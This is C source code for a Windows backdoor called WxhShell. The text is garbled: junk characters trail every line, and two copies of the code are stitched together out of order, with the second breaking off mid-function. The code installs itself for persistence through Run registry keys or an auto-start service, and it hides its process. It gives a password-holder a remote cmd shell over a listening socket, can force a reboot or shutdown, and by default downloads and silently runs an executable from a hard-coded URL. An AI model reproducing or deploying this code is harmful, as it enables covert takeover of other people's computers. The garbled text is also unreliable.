    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -jgysBw+Xb  
    if(Boot(SHUTDOWN)) #&v/icz$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )X4K2~k*  
    else { u2oKH{/z  
    closesocket(wsh); ikWtC]y  
    ExitThread(0); DeR='7n  
    } PH"hn]  
    break; Vpy 2\wZWb  
    } DG4 d"Jy  
  // 获取shell [."[pY  
  case 's': { `V)Z)uN{0  
    CmdShell(wsh); pa}*E  
    closesocket(wsh); Z_\C*^  
    ExitThread(0); +&zYZA8v  
    break; 6v,z@!b  
  }  ^p n(=4  
  // 退出 tiN?/  
  case 'x': { b:qY gg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2G$SpfeIu  
    CloseIt(wsh); V8eB$in  
    break; S'oGt&Z<  
    } Z/rP"|EuQ  
  // 离开 1B),A~Ip  
  case 'q': { tXJU vish  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y_xnai  
    closesocket(wsh); aP'"G^F   
    WSACleanup(); ARcv;H 5  
    exit(1); 8|E'>+ D_-  
    break; JS}{%(B  
        } XLMb=T~S  
  } s1|/S\   
  } >~`C-K#  
s@MYc@k  
  // 提示信息 M#|dIbns H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _gKe%J&  
} PtqJ*Z  
  } @EE."T9  
Sa19q.~%  
  return; olLfko4$*V  
} qY\f'K}Q*  
b64 @s2]  
// shell模块句柄 x `V;Y]7'  
int CmdShell(SOCKET sock) cb5,P~/q  
{ WyP W*  
STARTUPINFO si; eY{+~|KZ  
ZeroMemory(&si,sizeof(si)); ;n|^1S<[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ltjbxw"Qd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `jS T  
PROCESS_INFORMATION ProcessInfo; ?\8?%Qk  
char cmdline[]="cmd"; j~j\\Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hHqh{:q{v  
  return 0; Kx_h1{  
} ]Qm]I1P  
@ 49nJi  
// 自身启动模式 VLBE'3Qg 1  
int StartFromService(void) 5k|9gICyd*  
{ i-yy/y-N  
typedef struct @ P|LLG'  
{ OFje+S  
  DWORD ExitStatus; 1Bxmm#  
  DWORD PebBaseAddress; r! Ay :r  
  DWORD AffinityMask; Y.^=]-n,  
  DWORD BasePriority; dMR3)CO  
  ULONG UniqueProcessId; lI>SUsQFfm  
  ULONG InheritedFromUniqueProcessId; a<]B B$~  
}   PROCESS_BASIC_INFORMATION; g/13~UM\  
I(=V}s2  
PROCNTQSIP NtQueryInformationProcess; +2 Af&~T  
_)]CzBRq\6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !x'/9^i~v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z,iHy3`  
u1xSp<59C  
  HANDLE             hProcess; #97h6m?  
  PROCESS_BASIC_INFORMATION pbi; Fs[aa#v4B  
Vb BPB5 $q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u{["50~  
  if(NULL == hInst ) return 0; ] }f9JNf$  
VY)s+Bx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2Pc%fuC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .$@R{>%U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 86 W0rS[5  
Ecs,$\  
  if (!NtQueryInformationProcess) return 0; %v2R.?F8  
H(Eh c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [ @4rjGwB  
  if(!hProcess) return 0; HYmn:?H  
<V>dM4Mkr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UwC=1g U  
_#vrb;.+  
  CloseHandle(hProcess); y!]CJigpZ  
ExRe:^yU\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?k(\ApVHj  
if(hProcess==NULL) return 0; ws^4?O  
sUE?v9  
HMODULE hMod; &>H!}"Yk  
char procName[255]; !Ra*)b "  
unsigned long cbNeeded; =~p>`nV  
-\#0]F:-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r_;9' #&'  
/rSH"$  
  CloseHandle(hProcess); Ks}Xgc\  
,-z9 #t  
if(strstr(procName,"services")) return 1; // 以服务启动 KF4PJi;*  
n@G[  
  return 0; // 注册表启动 >ooZj9:'  
} "n*~Mj Ny  
+Jr|z\  
// 主模块 p<:!)kt  
int StartWxhshell(LPSTR lpCmdLine) 3MRc 4UlB  
{ Y3O#Q)-j$  
  SOCKET wsl; -kbg\,PW  
BOOL val=TRUE; [LRLJ_~g5  
  int port=0; M`S0u~#tI  
  struct sockaddr_in door; %Z*sU/^  
bu51$s?B  
  if(wscfg.ws_autoins) Install(); V\6]n2  
t]X w{)T  
port=atoi(lpCmdLine); 2<}NB?f`N  
n9s iX  
if(port<=0) port=wscfg.ws_port; $[yFsA6  
FN[{s  
  WSADATA data; yeHDa+}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9Vf1Xz  
qpXWi &g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (dv]=5""  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a5w:u5  
  door.sin_family = AF_INET; 'MY/*k7:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H8"@iE,  
  door.sin_port = htons(port); v%ioj0,  
a.z;t8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /q5:p`4{J  
closesocket(wsl); gJM`[x`T  
return 1; 8n>9;D5n  
} <^$<#K d  
rl0<Ls  
  if(listen(wsl,2) == INVALID_SOCKET) { q/n,,!  
closesocket(wsl); Z> r^SWL  
return 1; 5# K4bA  
} %AQIGBcgL  
  Wxhshell(wsl); $1v&azM.  
  WSACleanup(); H#ncM~y*  
L5,NP5RC  
return 0; P@FHnh3}Z$  
DY^;EZ!hb  
} 0tU.(  
QV\eMuNy  
// 以NT服务方式启动 ` Jdb;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a1@Y3M Q;i  
{ %HJK;   
DWORD   status = 0; %plo=RF  
  DWORD   specificError = 0xfffffff; 7.`fJf?  
db6mfx i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1/"WD?a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I(XOE$3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h*v8#\b$J_  
  serviceStatus.dwWin32ExitCode     = 0; H *)NLp  
  serviceStatus.dwServiceSpecificExitCode = 0; ]9 @F~)  
  serviceStatus.dwCheckPoint       = 0; N ,z6y5Lu  
  serviceStatus.dwWaitHint       = 0; >vA2A1WhW  
Jkek-m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pxa(  
  if (hServiceStatusHandle==0) return; cb}[S:&|  
uS^Ipxe\  
status = GetLastError(); ye MB0Z*r  
  if (status!=NO_ERROR) ZMq6/G*fD  
{ ,I,\ml  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mWvl 38  
    serviceStatus.dwCheckPoint       = 0; Q 7?#=N?  
    serviceStatus.dwWaitHint       = 0; Bs?^2T~%{  
    serviceStatus.dwWin32ExitCode     = status; {E8~Z8tT  
    serviceStatus.dwServiceSpecificExitCode = specificError; dN$Tf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R47\Y  
    return; 15sp|$&`  
  } /~<@*-'  
r3PT1'P?L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cMOyo<F#^=  
  serviceStatus.dwCheckPoint       = 0; LSRk7'0  
  serviceStatus.dwWaitHint       = 0; o !U 6?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }B1!gz$YNO  
} ,l)^Ft`5  
Ct>GYk$  
// 处理NT服务事件,比如:启动、停止 UNBH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mrjswF27$o  
{ g?ULWeZg5  
switch(fdwControl) _D+J!f^  
{ ^cuc.g)c$?  
case SERVICE_CONTROL_STOP: d}4Y(   
  serviceStatus.dwWin32ExitCode = 0; ZEx}$<)_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ll4g[8  
  serviceStatus.dwCheckPoint   = 0; 5bg s*.s  
  serviceStatus.dwWaitHint     = 0; sL$:"=  
  { )<tI!I][j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S@/IQR  
  } a5 TioQ  
  return; i,/0/?)*_  
case SERVICE_CONTROL_PAUSE: NN?`"Fww  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gp\<p-}  
  break; .~7FyLl$  
case SERVICE_CONTROL_CONTINUE: Kh_Lp$'0uM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2_Z ? #Y  
  break; M "94#.dKK  
case SERVICE_CONTROL_INTERROGATE: v p/yG   
  break; U3dwI:cG  
}; )z28=%g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ptdpj)oi&Q  
} L}pt)w*V1j  
W@I|Q -  
// 标准应用程序主函数 N <Xq]! K-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z.;ez}6%V  
{ ZNvEW  
"9Q40w\  
// 获取操作系统版本 =D<PVGo9  
OsIsNt=GetOsVer(); Rw0qcM\>|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |3KLk?2  
 ^0 \  
  // 从命令行安装 Y<%@s}zc  
  if(strpbrk(lpCmdLine,"iI")) Install(); @/ohg0  
P&^;656r  
  // 下载执行文件 wLnf@&jQ%  
if(wscfg.ws_downexe) { 9eQxit7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YF>m$?;  
  WinExec(wscfg.ws_filenam,SW_HIDE); QvKh,rBFVG  
} gq'Y!BBQy  
z)r =+ -  
if(!OsIsNt) { YOmM=X+'H  
// 如果时win9x,隐藏进程并且设置为注册表启动 DBr ZzA  
HideProc(); lSVp%0jR  
StartWxhshell(lpCmdLine); yj.7'{mA  
} 7E79-r&n  
else ~yW4)4k;b  
  if(StartFromService()) %/zbgS`  
  // 以服务方式启动 |#cm`v  
  StartServiceCtrlDispatcher(DispatchTable); =V-|#j  
else TI,&!E?;  
  // 普通方式启动 e9U9Uu[  
  StartWxhshell(lpCmdLine); ?Yth0O6?sb  
Ku} Z  
return 0; ^<a t'jk6  
} gL *>[@RO  
UKT%13CO4U  
aGtf z)  
oF1,QQ^dg  
=========================================== D!Pq4'd(  
jk[1{I/  
_n50C"X=&(  
sg3OL/"  
?!d&E ?9\  
E^/t$M|H  
" 'O_3)x5  
!C3MFm{B  
#include <stdio.h> B][U4WJ)  
#include <string.h> #(N+(():  
#include <windows.h> O @j} K4  
#include <winsock2.h> ':3 pq2{  
#include <winsvc.h> {YAJBIvHV  
#include <urlmon.h> jN;@=COi  
%u5L!W&  
#pragma comment (lib, "Ws2_32.lib") CFMo)"  
#pragma comment (lib, "urlmon.lib") RbP6F*f  
Rnr(g;2  
#define MAX_USER   100 // 最大客户端连接数 Q/(K$6]j  
#define BUF_SOCK   200 // sock buffer lvBx\e;7P  
#define KEY_BUFF   255 // 输入 buffer koZ*+VP=  
( +Q&[E"87  
#define REBOOT     0   // 重启 g4=pnK8  
#define SHUTDOWN   1   // 关机 /-_h1.!   
)f[ B6Y  
#define DEF_PORT   5000 // 监听端口 =C8?M  
SwTL|+u  
#define REG_LEN     16   // 注册表键长度 }J:U=HJ  
#define SVC_LEN     80   // NT服务名长度 :~tAUy":_*  
_u5#v0Y  
// 从dll定义API $0>60<J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %7IugHH9y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p93r'&Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T?tgd J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  #~2%)  
7byK{{/z  
// wxhshell配置信息 Cz\e w B  
struct WSCFG { t(NI-UXBp  
  int ws_port;         // 监听端口 g(qJN<R C/  
  char ws_passstr[REG_LEN]; // 口令 jHE}qE~>5  
  int ws_autoins;       // 安装标记, 1=yes 0=no c1k/UcEcg~  
  char ws_regname[REG_LEN]; // 注册表键名 M3c$=>  
  char ws_svcname[REG_LEN]; // 服务名 e.7EU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IEsEdw]aZE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M/>7pZW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P2BWuh F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +./H6!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e,vvzs o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1PQ~jfGi  
nYR#  
}; K1"*.\?F  
V3Q+s8OIF  
// default Wxhshell configuration VM GS[qrG  
struct WSCFG wscfg={DEF_PORT, - D  
    "xuhuanlingzhe", !;Yg/'vD-  
    1, cl=EA6P\X  
    "Wxhshell", aQ?/%\>  
    "Wxhshell", 5\5/  
            "WxhShell Service", Y)0*b5?1r  
    "Wrsky Windows CmdShell Service", DS.RURzd{r  
    "Please Input Your Password: ", A}G7l?V&  
  1, /Y W>*?"N  
  "http://www.wrsky.com/wxhshell.exe", CrC^1K  
  "Wxhshell.exe" ]@j*/IP  
    }; %Gz0^[+  
~?4PBq  
// 消息定义模块 ZkRx1S"m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rzhWw-GY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BP'36?=Zo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NO "xL,  
char *msg_ws_ext="\n\rExit."; F\JM\{&F  
char *msg_ws_end="\n\rQuit."; #>b3"[ |  
char *msg_ws_boot="\n\rReboot..."; I5 o)_nc  
char *msg_ws_poff="\n\rShutdown..."; p Dx1z|@z  
char *msg_ws_down="\n\rSave to "; &=Ar  
Z &Pg"a?\  
char *msg_ws_err="\n\rErr!"; m4hX 'F  
char *msg_ws_ok="\n\rOK!"; E4`N-3  
]/[FR5>  
char ExeFile[MAX_PATH]; m[? E  
int nUser = 0; !"HO]3-o  
HANDLE handles[MAX_USER]; J*yf2&lI5  
int OsIsNt; N..yQ-6x?  
&zl|87M  
SERVICE_STATUS       serviceStatus; dt \TQJc~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ck ]Do!h  
BgurzS4-  
// 函数声明 nhB1D-  
int Install(void); gp};D  
int Uninstall(void); 8;b( 0^  
int DownloadFile(char *sURL, SOCKET wsh); @Lpq~ 1eZB  
int Boot(int flag); \\PjKAsh  
void HideProc(void); $UMFNjL  
int GetOsVer(void); Ygm`ZA y  
int Wxhshell(SOCKET wsl); 1-%fo~!l  
void TalkWithClient(void *cs); a,@]8r-"  
int CmdShell(SOCKET sock); >:AARx%  
int StartFromService(void); XX7{-Y y  
int StartWxhshell(LPSTR lpCmdLine); ;(f) &Yom  
.*@;@06?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FOv=!'S o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a]JYDq`,3  
BWeA@v  
// 数据结构和表定义 [pC$+NX  
SERVICE_TABLE_ENTRY DispatchTable[] = 3c#BKHNC  
{ fM]+SMZy  
{wscfg.ws_svcname, NTServiceMain}, @K\~O__  
{NULL, NULL} q}`${3qQ3  
}; nW PF6V>  
/7a BDc-v  
// 自我安装 s>B5l2Q4  
int Install(void) j`JMeCG=Ee  
{ V, Z|tB^  
  char svExeFile[MAX_PATH]; s1M Erd  
  HKEY key; ,~aQL  
  strcpy(svExeFile,ExeFile); [;r)9mh7  
1t:Q_j0Ym  
// 如果是win9x系统,修改注册表设为自启动 ;kFDMuuO  
if(!OsIsNt) { *;l]8.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H7z,j}l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )JDs\fUE  
  RegCloseKey(key); Buf/@B7+\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RY]#<9>M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `> 7; !  
  RegCloseKey(key); chcbd y>C  
  return 0; 14Xqn8uOW  
    } dT`D:)*:  
  } 6CV* Z\b  
} |jQ:~2U|   
else { =}lh_  
3AHlSX  
// 如果是NT以上系统,安装为系统服务 G! ]k#.^A,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K#%&0D!  
if (schSCManager!=0) sd,J3  
{ $h2){*5E{  
  SC_HANDLE schService = CreateService mPOGidxix  
  ( K{x\4  
  schSCManager, g-Mj.owu=  
  wscfg.ws_svcname, Qi ua  
  wscfg.ws_svcdisp, V@B__`y7  
  SERVICE_ALL_ACCESS, 3VsW@SG7N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WzPTFw[  
  SERVICE_AUTO_START, nim*/LC[:  
  SERVICE_ERROR_NORMAL, 3p3 9`"~  
  svExeFile, @KWb+?_H{<  
  NULL, H35S#+KX  
  NULL,  J}htu  
  NULL, 3/aMJR:o  
  NULL, x*![fK  
  NULL  ~3Lg"I  
  ); Lrta/SU*  
  if (schService!=0) cGtO +DE  
  { ta35 K"  
  CloseServiceHandle(schService); DwaBdN[!7  
  CloseServiceHandle(schSCManager); OglEt["  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V^7V[(~`  
  strcat(svExeFile,wscfg.ws_svcname); bt"W(m&f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R{WE\T'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9*2[B"5  
  RegCloseKey(key); :V1W/c  
  return 0; MC?,UDNd%  
    } gcE|#1>  
  } J,V9k[88  
  CloseServiceHandle(schSCManager); bP8Sj16q  
} O;z,qo X  
} ~rlB'8j(  
~?D4[D|sB  
return 1; 5A%w 8Qv  
} b1^vd@(lx  
Ozw;(fDaU  
// 自我卸载 PpGL/,]X  
int Uninstall(void) w Qgo N%  
{ ||T2~Q*:y  
  HKEY key; z{[xze-f  
W 0(_ ~  
if(!OsIsNt) { `{eyvW[Ks  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RS"H8P 4W  
  RegDeleteValue(key,wscfg.ws_regname); ?i)f^O  
  RegCloseKey(key); Gn\_+Pj$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k >F'ypm  
  RegDeleteValue(key,wscfg.ws_regname); Ipf|")*  
  RegCloseKey(key); {G|,\O1  
  return 0; [DJflCR&  
  } c|lu&}BS  
} ?Y)vGlWDW<  
} tkVbo.[8K  
else { pA`+hQNN  
nA?`BOe(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hhSy0  
if (schSCManager!=0) l]@&D#3ZM  
{ $k|g"9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G %N $C  
  if (schService!=0) stG~AC  
  { 8;z6=.4xtg  
  if(DeleteService(schService)!=0) { IYqBQnX}oM  
  CloseServiceHandle(schService); @En^wN  
  CloseServiceHandle(schSCManager); ]Oh@,V8  
  return 0; <p}R~zk  
  } aHs^tPg  
  CloseServiceHandle(schService); {n(b{ ibl  
  } ;6gDV`Twy  
  CloseServiceHandle(schSCManager); 5j:0Yt  
} 4,..kSA3iw  
} *Nw&_<\9Q  
9!f/aI  
return 1; uG?_< mun  
} $u7; TW6QD  
l=]cy-H  
// 从指定url下载文件 aY3^C q(r  
int DownloadFile(char *sURL, SOCKET wsh) 1)9sf0LyU  
{ j;']cWe  
  HRESULT hr; 2]I4M[|&z  
char seps[]= "/"; $9 ]m=S  
char *token; UUSq$~Ct  
char *file;  u*e.yN  
char myURL[MAX_PATH]; i#7DR>XF/  
char myFILE[MAX_PATH]; D Gr> 2  
BsBK@+ZyI  
strcpy(myURL,sURL); {xwm^p(f  
  token=strtok(myURL,seps); 2uG0/7  
  while(token!=NULL) s<*XN NE7  
  { 0F@"b{&0  
    file=token; EM]s/LD@%  
  token=strtok(NULL,seps); MJ7Y#<u  
  } +IrLDsd  
aF)1Nm[  
GetCurrentDirectory(MAX_PATH,myFILE); GRGzP&}@  
strcat(myFILE, "\\"); z8{a(nKP  
strcat(myFILE, file); nFE4qm  
  send(wsh,myFILE,strlen(myFILE),0); =3|O %\  
send(wsh,"...",3,0); c05TsMF&O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -%2[2p  
  if(hr==S_OK) ;ToKJ6hN|*  
return 0; >^%7@i:@U  
else 0%,!jW{`  
return 1; pV.Av  
n_$ :7J  
} el2bd :  
dOqOw M.y  
// 系统电源模块 Fp@TCPe#  
int Boot(int flag) Z&0'a  
{ 8*8Zc/{  
  HANDLE hToken; K|Ld,bq  
  TOKEN_PRIVILEGES tkp; k spTp>~  
LAVAFlK5  
  if(OsIsNt) { ;w:M`#2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Sczc5FG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UQ'\7OS  
    tkp.PrivilegeCount = 1; ~3WM5 fv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8dV=[+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /<E5"Mm%  
if(flag==REBOOT) { Ge,;8N88  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W.z;B<  
  return 0; lCAIK  
} yMyE s8  
else { 7G.#O}).b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;w'D4p= P  
  return 0; ` jzTmt  
} /b]oa !  
  } vLR~'" `F  
  else { q2. XoCf  
if(flag==REBOOT) { ?z}=B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u@~JiiC%  
  return 0; n9@ of  
} f~Fm4 >\(  
else { x\F,SEj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b|cyjDMAA  
  return 0; 20vXSYa~  
} g) p,5BADm  
} SxdE?uCUS  
uvtF_P/  
return 1; .{ 44a$)  
} [!}:KD2yX  
/TZOJE(2j  
// win9x进程隐藏模块 ObLly%|i  
void HideProc(void) I"Ms-zs  
{ r)Ap8?+  
V2$h8\a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !6s"]WvF  
  if ( hKernel != NULL ) b'J'F;zh>  
  { t=_J9|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )jkXS TZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q>/C*@  
    FreeLibrary(hKernel); A/s>PhxV  
  } M7+nW ; e%  
Ul2R'"FB  
return; +|bmT  
} AgV G`q  
>y.%xK  
// 获取操作系统版本 (WK&^,zQn  
int GetOsVer(void) [ j3&/  
{ 5O~HWBX.  
  OSVERSIONINFO winfo; 0@G")L Ue0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b7!Qn}  
  GetVersionEx(&winfo); r`AuvwHPs[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RE =`  
  return 1; 2kdC]|H2?  
  else RY c!~Wh~Y  
  return 0; t]$P1*I  
} Eq$&qV-?(  
w4W_iaU  
// 客户端句柄模块 v z^<YZMu  
int Wxhshell(SOCKET wsl) q-]`CW]n  
{ *H?!;u=8  
  SOCKET wsh; Gp4A.\7  
  struct sockaddr_in client; N5]0/,I}  
  DWORD myID; } b=}uiR#  
:T]o)  
  while(nUser<MAX_USER) xEf'Bmebk  
{ VYt!U  
  int nSize=sizeof(client); sXi=70o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }-~X4u#   
  if(wsh==INVALID_SOCKET) return 1; yHHt(GM|o  
#{k|I$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f>piHh?  
if(handles[nUser]==0) )K,F]fc+O  
  closesocket(wsh); H2 $GIY  
else %Eb%V($  
  nUser++; i/~1F_  
  } S}$r>[t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ms!ref4`+  
e*bH0';q  
  return 0; ]4R[<<hd  
} q4}PM[K?=\  
=+-Yxh|*  
// 关闭 socket jeGj<m  
void CloseIt(SOCKET wsh) ]wKzE4Z/  
{ "I=\[l8t  
closesocket(wsh); t5'V6nv  
nUser--; 8zA=;~GHP  
ExitThread(0); deM7fN4lTi  
} aYuD>rD  
%z#f.Ql  
// 客户端请求句柄 = M]iIWQ@`  
void TalkWithClient(void *cs) UB 6mqjPK  
{ K'X2dG*  
A5i:x$ww  
  SOCKET wsh=(SOCKET)cs; ~zSCg|"r  
  char pwd[SVC_LEN]; @+9<O0  
  char cmd[KEY_BUFF]; t Z`z  
char chr[1]; _~q?_'kx  
int i,j; v^zu:Z*  
oP!;\a( SL  
  while (nUser < MAX_USER) { -O&CI)`;B  
E2cB U{x  
if(wscfg.ws_passstr) { oS7(s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \3'9Uz,OC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aX~%5 mF  
  //ZeroMemory(pwd,KEY_BUFF); AX= 1b,s  
      i=0; 3t<a $i  
  while(i<SVC_LEN) { Y`o+XimX  
Qb)C[5a}  
  // 设置超时 HsnLm67'  
  fd_set FdRead; br0++}vwL  
  struct timeval TimeOut; 7\f\!e <  
  FD_ZERO(&FdRead); Ee@4 %/v  
  FD_SET(wsh,&FdRead); >nw++[K_  
  TimeOut.tv_sec=8; n>A98NQ  
  TimeOut.tv_usec=0; 2Fz|fW_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); VxY+h`4#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $<^u^q37u  
"Kc>dJ@W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]S(%[|  
  pwd=chr[0]; /[6j)HIS  
  if(chr[0]==0xd || chr[0]==0xa) { jS+AGE?5e  
  pwd=0; s/7 A7![  
  break; d3W0-INL  
  } K]j0_~3s  
  i++; ,RgB$TcE  
    } :^Fh!br==  
e"'#\tSG  
  // 如果是非法用户,关闭 socket zGc: @z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n+BJxu?  
} 3/b;7\M  
+,yK;^b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zoDH` h_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yuDZ~0]R  
TYlbU<  
while(1) { {X*^s5{;H  
 ;b`[&g  
  ZeroMemory(cmd,KEY_BUFF); K =wBpLB  
XuD=E  
      // 自动支持客户端 telnet标准   rHf&:~   
  j=0; vjQb%/LWl  
  while(j<KEY_BUFF) { ?Q-h n:F)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mk3_  
  cmd[j]=chr[0]; /;tPNp{!dw  
  if(chr[0]==0xa || chr[0]==0xd) { wWSdTLX  
  cmd[j]=0; K{ \;2M  
  break; `E!N9qI?t$  
  } "Vr[4&`  
  j++; vk>b#%1{  
    } ~}!3G  
?[& 2o|  
  // 下载文件 u$D*tqxG  
  if(strstr(cmd,"http://")) { F[4;Xq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MB%Q WU  
  if(DownloadFile(cmd,wsh)) \~ BDm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f8SL3+v  
  else t ^[8RhD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xB@|LtdO9;  
